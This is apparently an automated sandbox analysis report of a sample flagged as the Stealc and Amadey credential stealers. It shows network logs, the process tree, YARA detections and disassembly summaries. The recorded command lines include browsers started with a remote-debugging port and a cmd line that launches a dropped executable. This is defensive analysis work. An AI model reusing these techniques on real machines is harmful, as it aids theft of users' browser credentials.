2024-12-07 21:41:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:15 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:15 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214115Z-r1cf579d778dndrdhC1EWR4b240000000320000000006unz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:15 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:15 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214115Z-r1cf579d778v97q7hC1EWRf95c00000003700000000012f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:16 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:15 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:15 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214115Z-r1cf579d778bb9vvhC1EWRs95400000003400000000038n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:16 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:17 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214117Z-r1cf579d778xq4f9hC1EWRx41g00000003c0000000002hgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:17 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214117Z-r1cf579d778g2t6ghC1EWRfggs000000031g00000000006k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	0
Start time:	16:40:03
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8d0000
File size:	1'824'256 bytes
MD5 hash:	BA177A2EF8336DAA29FCB4302054EB37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2126870772.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2684323133.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2684323133.000000000099C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:40:13
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:40:14
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2456,i,1902125233543609165,9231231568484545527,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:40:23
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:40:24
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2144,i,5035712571397325000,14333808649513033406,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:40:24
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:40:25
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2116,i,13794285038961054582,12018302173444175228,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:40:57
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKFBAAFCGI.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:40:57
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:40:57
Start date:	07/12/2024
Path:	C:\Users\user\Documents\KKFBAAFCGI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\KKFBAAFCGI.exe"
Imagebase:	0x4a0000
File size:	3'234'816 bytes
MD5 hash:	27F6676A8AE816B6C71525FD308839D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2716334004.00000000004A1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:40:59
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xe50000
File size:	3'234'816 bytes
MD5 hash:	27F6676A8AE816B6C71525FD308839D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2746813469.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:41:00
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe50000
File size:	3'234'816 bytes
MD5 hash:	27F6676A8AE816B6C71525FD308839D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2746064042.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:42:00
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe50000
File size:	3'234'816 bytes
MD5 hash:	27F6676A8AE816B6C71525FD308839D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3364528536.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
__aulldiv.LIBCMT ref: 6C9636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C963773
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C96377E
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9637C4
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9637CB
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C963801
__aulldiv.LIBCMT ref: 6C963883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C963902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C963918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C96394C

Strings

AuthcAMDenti, xrefs: 6C963946
GenuntelineI, xrefs: 6C963639
MOZ_TIMESTAMP_MODE, xrefs: 6C9635DB
QPC, xrefs: 6C9638FC
GTC, xrefs: 6C963912

Memory Dump Source

Source File: 00000000.00000002.2706236224.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2706212283.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706381030.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706404847.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction ID: 2c3a290a033bbbf252d2fa40c6f8ab3811b988b418c87b220ea80aa77cf8596f
Opcode Fuzzy Hash: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction Fuzzy Hash: 7BB1C471B083409BDB48DF39D84561ABBF5BFAEB04F15892EE499D7B90D770D9008B81

Function 6C97C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C97C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C97C969
GetSystemInfo.KERNEL32(?), ref: 6C97C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C97C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C97C9E2

Memory Dump Source

Source File: 00000000.00000002.2706236224.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2706212283.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706381030.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706404847.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction ID: a8d9a50efb501171aa60683ff9d3309aa07339397acbd5a4ba8b7cc4ade53ced
Opcode Fuzzy Hash: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction Fuzzy Hash: F121FC32746314ABDB94AA24DC84BAE7779FF9A704F60051AF903A7B40DB70DD40C7A4

Function 6C963060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C963095

Part of subcall function 6C9635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
Part of subcall function 6C9635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
Part of subcall function 6C9635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
Part of subcall function 6C9635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
Part of subcall function 6C9635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
Part of subcall function 6C9635A0: __aulldiv.LIBCMT ref: 6C9636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96309F

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9630BE

Part of subcall function 6C9630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C963127
Part of subcall function 6C9630F0: __aulldiv.LIBCMT ref: 6C963140

Part of subcall function 6C99AB2A: __onexit.LIBCMT ref: 6C99AB30

Memory Dump Source

Source File: 00000000.00000002.2706236224.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2706212283.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
